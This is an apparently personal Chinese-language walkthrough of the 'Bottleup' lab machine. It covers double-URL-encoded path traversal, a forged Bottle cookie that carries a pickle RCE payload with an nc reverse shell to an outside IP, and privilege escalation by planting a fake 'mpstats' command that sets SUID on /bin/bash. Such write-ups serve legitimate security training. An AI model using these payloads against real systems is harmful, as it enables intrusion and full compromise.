Bottleup pg walkthrough Intermediate
一开始看到page=view/.html的时候就想到目录穿越了尝试../../../../../../../../../../../etc/passwd 发现不行
找半天其他可能存在漏洞的地方又找不到
卡壳了
看了看hints 他告诉我存在二次编码绕过
这点确实没想到
可以进行两次url编码再访问/proc/self/cmdline 看看该程序的路径是啥
然后
读取python代码
page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fapp.py
读取到python源码
from bottle import route, run, static_file, template, request, response, error
from config.secret import secret
import os
import urllib
import re
@route("/") def home():
session = request.get_cookie('name', secret=secret)
if (not session):
session = {"name": "guest"}
response.set_cookie('name', session, secret=secret)
return template('index', name=session['name']) @ route('/static/js/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/js/') @ route('/static/css/<filename>')
def server_static(filename):
return static_file(filename, root=os.getcwd() + '/views/css/') @ route("/view", methods=['GET'])
def home():
try: # Avoiding URL Encoding # Fix added after the report from our security team # Added by Developer bob
page = urllib.parse.unquote(request.query_string.split("=")[1])
except:
page = ""
if page == "": return template("error.html", error="Error! Page Parameter empty!")
# Avoiding leaking code source or config
elif page.startswith("app.py") or page.startswith("config"):
return template("error.html", error="You can't view this page!")
# Avoiding directory traversal if ('../' not in page) and ('./' not in page): # Inforcing URL Encoding # Added by Intern Max
page = urllib.parse.unquote(page)
p = "404"
if os.path.isfile(os.getcwd() + '/' + page):
with open(os.getcwd() + '/' + page, "r") as f:
p = f.read()
else:
return template("error.html", error="Page not found!")
return template("blog.html", read=p) @ error(404)
def error404(error):
return template('error.html', error='404 not found')
if __name__ == '__main__': run(host='0.0.0.0', port=8080)
发现有个secret 读取secret
/view?page=..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fopt%252fbottle-blog%252fconfig%252fsecret.py
改写代码让我们的cookie变成admin
但是问题又出现了估计是版本的问题我本地生成的cookie和wp生成的cookie是不一样的
这就造成了我实现不了admin的伪造 无奈只能copy wp的cookie了
然后又不知道咋整了
看wp
发现是存在bottle的漏洞 (太难了)
exp生成
import base64
import hashlib
import pickle
import hmac
import os
def tob(s):
return s.encode('utf-8')
secret = "546546DSQ7711DSQDSQXWZ"
code = """
import os
os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.45.250 80 >/tmp/f')
"""
class RCE:
def __reduce__(self):
return exec, (code,)
data = RCE()
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)
将生成的cookie 写入就能反弹shell了 这块原理回头还得研究一下
弹回来shell了
查看pspy看定时任务发现
linpeas 发现我们具有可读可写的权限对于 这两个服务
查看该服务 发现原来定时任务是在这里开启的 60秒执行一次
运行文件我们会发现很有意思的东西
他会说这个命令不存在mpstats
这就以为这我们可以伪造命令了
cd ~;echo "chmod +s /bin/bash" > mpstats
等待定时任务执行
提权成功
只能说这次的靶机涉及的点都没想到学到了很多